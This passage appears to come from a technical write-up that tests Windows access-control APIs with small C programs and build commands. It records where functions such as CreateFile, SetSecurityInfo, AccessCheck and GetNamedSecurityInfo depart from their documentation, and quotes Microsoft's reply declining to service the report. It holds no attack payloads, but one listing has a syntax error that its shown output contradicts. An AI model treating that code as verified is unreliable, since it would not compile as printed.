			lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
			if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= dwSDDL)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
			if (LocalFree(lpSDDL) != NULL)
				dwError = GetLastError();
		}
		if (!CreateDirectory(L"Blunder", &sa))
			dwError = GetLastError();
		else
		{
			dwError = GetNamedSecurityInfo(L"Blunder",
			                               SE_FILE_OBJECT,
			                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
			                               GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
			                               (SID **) NULL,
			                               (SID **) NULL,
			                               (ACL **) NULL,
			                               (ACL **) NULL,
			                               &lpSD);
			if (dwError == ERROR_SUCCESS)
			{
				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
				                                                         SDDL_REVISION_1,
				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
				                                                         &lpSDDL,
				                                                         &dwSDDL))
					dwError = GetLastError();
				else
				{
					lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
					if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
						dwError = GetLastError();
					else
						if (dwError ^= dwSDDL)
							dwError = ERROR_WRITE_FAULT;
					//	else
					//		dwError = ERROR_SUCCESS;
					if (LocalFree(lpSDDL) != NULL)
						dwError = GetLastError();
				}
				if (LocalFree(lpSD) != NULL)
					dwError = GetLastError();
			}
			if (!RemoveDirectory(L"Blunder"))
				dwError = GetLastError();
		}
	}
#endif // BLUNDER
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(51) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(53) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(68) : warning C4090: 'function' : different 'const' qualifiers blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers blunder.c(126) : warning C4090: 'function' : different 'const' qualifiers blunder.c(127) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:P(A;NP;;;;CG)(A;NP;0x110000;;;CO)(D;NP;;;;CO) O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:PAI(A;;;;;CG)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-1000)(D;;;;;S-1-5-21-820728443-44925810-1835867902-1000)S:(ML;;NWNRNX;;;ME) O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:PAIS:P 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH¹: the Win32 functions
CreateFile()
            and
            SetSecurityInfo()
            fail to reject the AS
            alias ACCESS_SYSTEM_SECURITY and
            MA alias
            MAXIMUM_ALLOWED access permissions
            as invalid, but map them to zero alias
            NO_ACCESS!
        OUCH²: they also fail to enforce the preferred canonical order of the access control entries!
 OUCH³: while the Win32 function
            CreateFile()
            fails to resolve the
            universal well-known security identifiers
            CG alias
            S-1-3-1 and
            CO alias
            S-1-3-0 to the effective owner
            and group SIDs,
            SetSecurityInfo()
            fails to resolve only CG alias
            S-1-3-1!
        
 OUCH⁴: the Win32 function
            SetSecurityInfo()
            adds the AI alias Auto Inheritance
 flag to the
            DACL,
            but removes the NP alias No Propagate Inherit
            flag from the ACEs.
        
 OUCH⁵: it also discards the mandatory label
            (ML;NP;NRNWNX;;;ME)
            placed in the
            DACL
            silently instead to fail!
        
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(51) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(53) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(135) : warning C4090: 'function' : different 'const' qualifiers blunder.c(136) : warning C4090: 'function' : different 'const' qualifiers blunder.c(137) : warning C4090: 'function' : different 'const' qualifiers blunder.c(139) : warning C4090: 'function' : different 'const' qualifiers blunder.c(161) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
G:CGD:P(A;NP;0x1000000;;;CG)(A;NP;0x110000;;;CO)(D;NP;0x2000000;;;CO) O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:P(A;NP;;;;CG)(A;NP;0x110000;;;CO)(D;NP;;;;CO) 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OOPS¹: the Win32 function
ConvertSecurityDescriptorToStringSecurityDescriptor()
            fails to convert the
            access masks
            0x10000000 alias
            ACCESS_SYSTEM_SECURITY and
            0x20000000 alias
            MAXIMUM_ALLOWED into the
            corresponding
            ACE strings
            AS respectively
            MA!
         OUCH⁶: the Win32 function
            CreateDirectory()
            fails to reject the AS
            alias ACCESS_SYSTEM_SECURITY and
            MA alias
            MAXIMUM_ALLOWED access permissions
            as invalid, but maps them to zero alias
            NO_ACCESS!
        
 OUCH⁷: it also fails to enforce the preferred
            canonical order of the
            access control entries
            and to resolve the
            universal well-known security identifiers
            CG alias
            S-1-3-1 and
            CO alias
            S-1-3-0 to the effective owner
            and group SIDs!
        
 OUCH⁸: the Win32 function
            RemoveDirectory()
            fails with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            – despite its access permission 0 alias
              since their unresolved
            universal well-known security identifiers
            NO_ACCESS, i.e. no access denied,
            and placed last, the
            ACE
            (D;;;;;CO)
            overrules the ACE
            (A;;0x110000;;;CO)
            which grants the CREATOR OWNER explicit
            DELETE and
            SYNCHRONIZE access permission on the
            subdirectory BlunderCG alias
            S-1-3-1 and
            CO alias
            S-1-3-0
            don’t match the
            access token’s
            owner or group SID no
            access control entry
            applies here!
        
 Overwrite the text file blunder.c created in
            step 1. with the following content:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	SECURITY_DESCRIPTOR	*lpSD;
	DWORD	dwSD;
	DWORD	dwError = ERROR_SUCCESS;
#ifndef BLUNDER
	if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(A;NP;0x10000000;;;CG)(D;NP;0x20000000;;;CO)",
#elif BLUNDER == 1
	if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(A;NP;AS;;;CG)",
#else
	if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(D;NP;MA;;;CO)",
#endif
	                                                         SDDL_REVISION_1,
	                                                         &lpSD,
	                                                         &dwSD))
		dwError = GetLastError();
	else
		if (LocalFree(lpSD) != NULL))
			dwError = GetLastError();
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 6. a first time:
        
CL.EXE blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 7. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Compile and link the source file blunder.c overwritten
            in step 6. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 9. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x538 (WIN32: 1336 ERROR_INVALID_ACL) -- 1336 (1336) Error message text: The access control list (ACL) structure is invalid. CertUtil: -error command completed successfully.OOPS²: the Win32 function
ConvertStringSecurityDescriptorToSecurityDescriptor()
            fails to convert the
            ACE string
            AS with Win32 error
            code 1336 alias
            ERROR_INVALID_ACL!
         Compile and link the source file blunder.c overwritten
            in step 6. a third time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 11. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x538 (WIN32: 1336 ERROR_INVALID_ACL) -- 1336 (1336) Error message text: The access control list (ACL) structure is invalid. CertUtil: -error command completed successfully.OOPS³: the Win32 function
ConvertStringSecurityDescriptorToSecurityDescriptor()
            also fails to convert the
            ACE string
            MA with Win32 error
            code 1336 alias
            ERROR_INVALID_ACL!
        CreateDirectoryEx(),
            CreateDirectoryTransacted(),
            CreateFile2(),
            CreateFileTransacted()
            and
            SetNamedSecurityInfo()
            (as well as others) is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
ACCESS_SYSTEM_SECURITY or
            MAXIMUM_ALLOWED access permission!
        They replied with the following statements:
Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.
Setting the mandatory label ACEsection:
The permissions that are required to change the mandatory label ACE in the SACL of a security descriptor is WRITE_OWNER. Writing the mandatory label to the SACL does not require SE_SECURITY_NAME privilege, or the ACCESS_SYSTEM_SECURITY access right. The integrity level in the mandatory label can be set to a value less than or equal to the subject’s integrity level.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace;
} sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
	// (ML;NP;NRNWNX;;;ME)
          {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
				      SE_SACL_PRESENT | SE_SACL_PROTECTED,
				      (SID *) NULL,
				      (SID *) NULL,
				      &sacl,
				      (ACL *) NULL};
const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
#ifndef BLUNDER
	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
		                      DELETE | WRITE_OWNER,
		                      FILE_SHARE_DELETE,
		                      &sa,
		                      CREATE_NEW,
		                      FILE_FLAG_DELETE_ON_CLOSE,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
#else
	if (!CreateDirectory(L"Blunder", &sa))
		dwError = GetLastError();
	else
		if (!RemoveDirectory(L"Blunder"))
			dwError = GetLastError();
#endif
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(31) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
CreateFile()
            fails with Win32 error code 1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            – contrary to the highlighted statement of the
            MSDN article
            cited above it’s impossible to set a
            mandatory label
            upon file creation without the
            SeSecurityPrivilege
            alias
            SE_SECURITY_NAME
            privilege!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(31) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(55) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH²: the Win32 function
CreateDirectory()
            fails with Win32 error code 1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            – contrary to the highlighted statement of the
            MSDN article
            cited above it’s impossible to set a
            mandatory label
            upon directory creation without the
            SeSecurityPrivilege
            alias
            SE_SECURITY_NAME
            privilege!
        CreateDirectoryEx(),
            CreateDirectoryTransacted(),
            CreateFile2()
            and
            CreateFileTransacted()
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
AccessCheck()
            states:
        The AccessCheck function determines whether a security descriptor grants a specified set of access rights to the client identified by an access token. Typically, server applications use this function to check access to a private object.[…]BOOL AccessCheck( [in] PSECURITY_DESCRIPTOR pSecurityDescriptor, [in] HANDLE ClientToken, [in] DWORD DesiredAccess, [in] PGENERIC_MAPPING GenericMapping, [out, optional] PPRIVILEGE_SET PrivilegeSet, [in, out] LPDWORD PrivilegeSetLength, [out] LPDWORD GrantedAccess, [out] LPBOOL AccessStatus );
[out] AccessStatusA pointer to a variable that receives the results of the access check. If the security descriptor allows the requested access rights to the client identified by the access token, AccessStatus is set to TRUE. Otherwise, AccessStatus is set to FALSE, and you can call GetLastError to get extended error information.
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
[…]
For more information, see the How AccessCheck Works overview.
[…]
If the security descriptor's DACL is NULL, the AccessStatus parameter returns TRUE, which indicates that the client has the requested access.
GENERIC_MAPPING
            PRIVILEGE_SET
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace;
} sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
          {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
#ifdef blunder // (ML;NP;NRNWNX;;;SI)
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_SYSTEM_RID}}};
#else // (ML;NP;NRNWNX;;;S-1-16-0)
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_UNTRUSTED_RID}}};
#endif
const	SID	owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RID},
		group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_GROUP_RID};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
				      SE_DACL_PRESENT | SE_SACL_PRESENT,
				      &owner,
				      &group,
#ifdef BLUNDER
				      &sacl,
#else
				      (ACL *) NULL,
#endif
				      (ACL *) NULL};
const	GENERIC_MAPPING	gm = {GENERIC_READ, GENERIC_WRITE, GENERIC_EXECUTE, GENERIC_ALL};
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	PRIVILEGE_SET	ps;
	DWORD	dw = sizeof(ps);
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwAccess;
	BOOL	bAccess;
	HANDLE	hToken;
	HANDLE	hThread = GetCurrentThread();
#ifndef blunder
	if (!ImpersonateAnonymousToken(hThread))
#else
	if (!ImpersonateSelf(SecurityImpersonation))
#endif
		dwError = GetLastError();
	else
	{
		if (!OpenThreadToken(hThread, TOKEN_QUERY, FALSE, &hToken))
			dwError = GetLastError();
		else
		{
			if (!AccessCheck(&sd,
			                 hToken,
			                 MAXIMUM_ALLOWED,
			                 &gm,
			                 &ps,
			                 &dw,
			                 &dwAccess,
			                 &bAccess) || !bAccess)
				dwError = GetLastError();
			if (!CloseHandle(hToken))
				dwError = GetLastError();
		}
		if (!RevertToSelf())
			dwError = GetLastError();
	}
	ExitProcess(dwError);
}ImpersonateAnonymousToken()
            ImpersonateSelf()
            OpenThreadToken()
            RevertToSelf()
         Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(35) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(68) : warning C4090: 'function' : different 'const' qualifiers blunder.c(71) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH¹: contrary to the highlighted statement of its documentation cited above, the Win32 function
AccessCheck()
            succeeds, but yields Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            on Windows Vista and later versions – without an
            integrity label
            present in the
            SACL of the
            security descriptor
            the default
            medium integrity level is
            implied and access from threads running with lower (here:
            untrusted) integrity level is
            denied despite the NULL
            DACL!
            Generic and Access Rights
            Standard Access Rights
            Windows Integrity Mechanism Design
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(35) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(37) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(68) : warning C4090: 'function' : different 'const' qualifiers blunder.c(71) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(35) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(68) : warning C4090: 'function' : different 'const' qualifiers blunder.c(71) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macros
            blunder and BLUNDER defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(35) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(37) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(68) : warning C4090: 'function' : different 'const' qualifiers blunder.c(71) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 8. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH²: contrary to the highlighted statement of its documentation cited above, the Win32 function
AccessCheck()
            succeeds, but yields Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            on Windows Vista and later versions – with a
            higher (here: system)
            integrity label
            present in the
            SACL of the
            security descriptor
            access from threads running with the default
            medium integrity level is
            denied despite the NULL
            DACL!
        GetFileSecurity()
            states:
        The GetFileSecurity function obtains specified information about the security of a file or directory. The information obtained is constrained by the caller's access rights and privileges.The documentation for the Win32 functionThe GetNamedSecurityInfo function provides functionality similar to GetFileSecurity for files as well as other types of objects.
[…]BOOL GetFileSecurity( [in] LPCTSTR lpFileName, [in] SECURITY_INFORMATION RequestedInformation, [out, optional] PSECURITY_DESCRIPTOR pSecurityDescriptor, [in] DWORD nLength, [out] LPDWORD lpnLengthNeeded );To read the owner, group, or DACL from the security descriptor for the specified file or directory, the DACL for the file or directory must grant READ_CONTROL access to the caller, or the caller must be the owner of the file or directory.
To read the SACL of a file or directory, the SE_SECURITY_NAME privilege must be enabled for the calling process.
GetNamedSecurityInfo()
            states:
        The GetNamedSecurityInfo function retrieves a copy of the security descriptor for an object specified by name.The documentation for the Win32 function[…]DWORD GetNamedSecurityInfo( [in] LPCTSTR pObjectName, [in] SE_OBJECT_TYPE ObjectType, [in] SECURITY_INFORMATION SecurityInfo, [out, optional] PSID *ppsidOwner, [out, optional] PSID *ppsidGroup, [out, optional] PACL *ppDacl, [out, optional] PACL *ppSacl, [out, optional] PSECURITY_DESCRIPTOR *ppSecurityDescriptor );
[out, optional] ppSecurityDescriptorA pointer to a variable that receives a pointer to the security descriptor of the object. When you have finished using the pointer, free the returned buffer by calling the LocalFree function.
This parameter is required if any one of the ppsidGroup, ppDacl, or ppSacl parameters is not NULL.
[…]
To read the owner, group, or DACL from the object's security descriptor, the object's DACL must grant READ_CONTROL access to the caller, or the caller must be the owner of the object.
To read the system access control list of the object, the SE_SECURITY_NAME privilege must be enabled for the calling process.
GetSecurityInfo()
            states:
        The GetSecurityInfo function retrieves a copy of the security descriptor for an object specified by a handle.[…]DWORD GetSecurityInfo( [in] HANDLE handle, [in] SE_OBJECT_TYPE ObjectType, [in] SECURITY_INFORMATION SecurityInfo, [out, optional] PSID *ppsidOwner, [out, optional] PSID *ppsidGroup, [out, optional] PACL *ppDacl, [out, optional] PACL *ppSacl, [out, optional] PSECURITY_DESCRIPTOR *ppSecurityDescriptor );
[out, optional] ppSecurityDescriptorA pointer to a variable that receives a pointer to the security descriptor of the object. When you have finished using the pointer, free the returned buffer by calling the LocalFree function.
This parameter is required if any one of the ppsidOwner, ppsidGroup, ppDacl, or ppSacl parameters is not NULL.
[…]
To read the owner, group, or DACL from the object's security descriptor, the calling process must have been granted READ_CONTROL access when the handle was opened. To get READ_CONTROL access, the caller must be the owner of the object or the object's DACL must grant the access.
SE_OBJECT_TYPE
            SECURITY_INFORMATION
            SID
            ACL
            OUCH⁰: contrary to the highlighted statements
            of the last two documentations cited above, the
            ppSecurityDescriptor parameter is not
            optional, but mandatory – a call of both
            functions without possibility to return the
            security descriptor
            is  OUCH¹: contrary to the highlighted statements
            of all three documentations cited above, the object's owner may have
            no READ_CONTROL access permission!
            Security Identifiers (SIDs) New for Windows Vista
        
The TechNet article Security Identifiers Technical Overview specifies:
The following table lists the universal well-known SIDs.AD DS: Owner Rights File Security and Access RightsUniversal well-known SIDs
